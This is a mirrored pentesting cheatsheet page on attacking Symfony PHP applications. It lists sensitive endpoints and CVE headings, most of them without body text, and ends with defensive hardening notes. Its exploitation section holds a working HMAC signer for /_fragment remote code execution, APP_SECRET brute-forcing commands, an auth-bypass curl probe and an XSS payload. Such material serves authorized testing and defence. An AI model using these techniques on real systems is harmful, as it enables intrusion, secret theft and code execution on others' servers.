repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
symphony.mdMarkdown174 lines10.4 KiBsource raw download

title: "Symfony" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/pentesting-web/symphony.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/symphony.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Symfony#

Symfony is one of the most widely-used PHP frameworks and regularly appears in assessments of enterprise, e-commerce and CMS targets (Drupal, Shopware, Ibexa, OroCRM … all embed Symfony components). This page collects offensive tips, common mis-configurations and recent vulnerabilities you should have on your checklist when you discover a Symfony application.

Historical note: A large part of the ecosystem still runs the 5.4 LTS branch (EOL November 2025). Symfony 7.4 became the new LTS in Nov 2025 and will receive security fixes until Nov 2029. Always verify the exact patch-level because many 2024‑2026 advisories were fixed only in micro releases.


Recon & Enumeration#

Finger-printing#

Interesting files & endpoints#

Path Why it matters
/.env, /.env.local, /.env.prod Frequently mis-deployed → leaks APP_SECRET, DB creds, SMTP, AWS keys
/.git, .svn, .hg Source disclosure → credentials + business logic
/var/log/*.log, /log/dev.log Web-root mis-configuration exposes stack-traces
/_profiler Full request history, configuration, service container, APP_SECRET (≤ 3.4)
/_fragment Entry point used by ESI/HInclude. Abuse possible once you know APP_SECRET
/vendor/phpunit/phpunit/phpunit PHPUnit RCE if accessible (CVE-2017-9841)
/index.php/_error/{code} Finger-print & sometimes leak exception traces

High-impact Vulnerabilities#

1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)#

2. PATH_INFO auth bypass – CVE-2025-64500 (HttpFoundation)#

3. MSYS2/Git-Bash argument mangling – CVE-2026-24739 (Process)#

4. Runtime env/argv injection – CVE-2024-50340 (Runtime)#

5. URL validation / open redirect – CVE-2024-50345 (HttpFoundation)#

6. Symfony UX attribute injection – CVE-2025-47946#

7. Windows Process Hijack – CVE-2024-51736 (Process)#

8. Session-Fixation – CVE-2023-46733#

9. Twig sandbox XSS – CVE-2023-46734#

10. Symfony 1 gadget chains (still found in legacy apps)#

Php Deserialization + Autoload Classes


Exploitation Cheat-Sheet#

Calculate HMAC token for /_fragment#

python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

Bruteforce weak APP_SECRET#

cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE via exposed Symfony Console#

If bin/console is reachable through php-fpm or direct CLI upload:

php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Use deserialization gadgets inside the cache directory or write a malicious Twig template that will be executed on the next request.

Probe PATH_INFO bypass quickly (CVE-2025-64500)#

curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
# If it returns protected content without redirect/auth, the Request normalization is vulnerable.

Spray UX attribute injection (CVE-2025-47946)#

{# attacker-controlled attribute value #}
<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />

If the rendered output echoes the attribute unescaped, XSS succeeds. Patch to 2.25.1+.


Defensive notes#

  1. Never deploy debug (APP_ENV=dev, APP_DEBUG=1) to production; block /app_dev.php, /_profiler, /_wdt in the web-server config.
  2. Store secrets in env vars or vault/secrets.local.php, never in files accessible through the document-root.
  3. Enforce patch management – subscribe to Symfony security advisories and keep at least the LTS patch-level (5.4.x until Nov 2025, 6.4 until Nov 2027, 7.4 until Nov 2029).
  4. If you run on Windows, upgrade immediately to mitigate CVE-2024-51736 & CVE-2026-24739 or add a open_basedir/disable_functions defence-in-depth.

Useful offensive tooling#

References#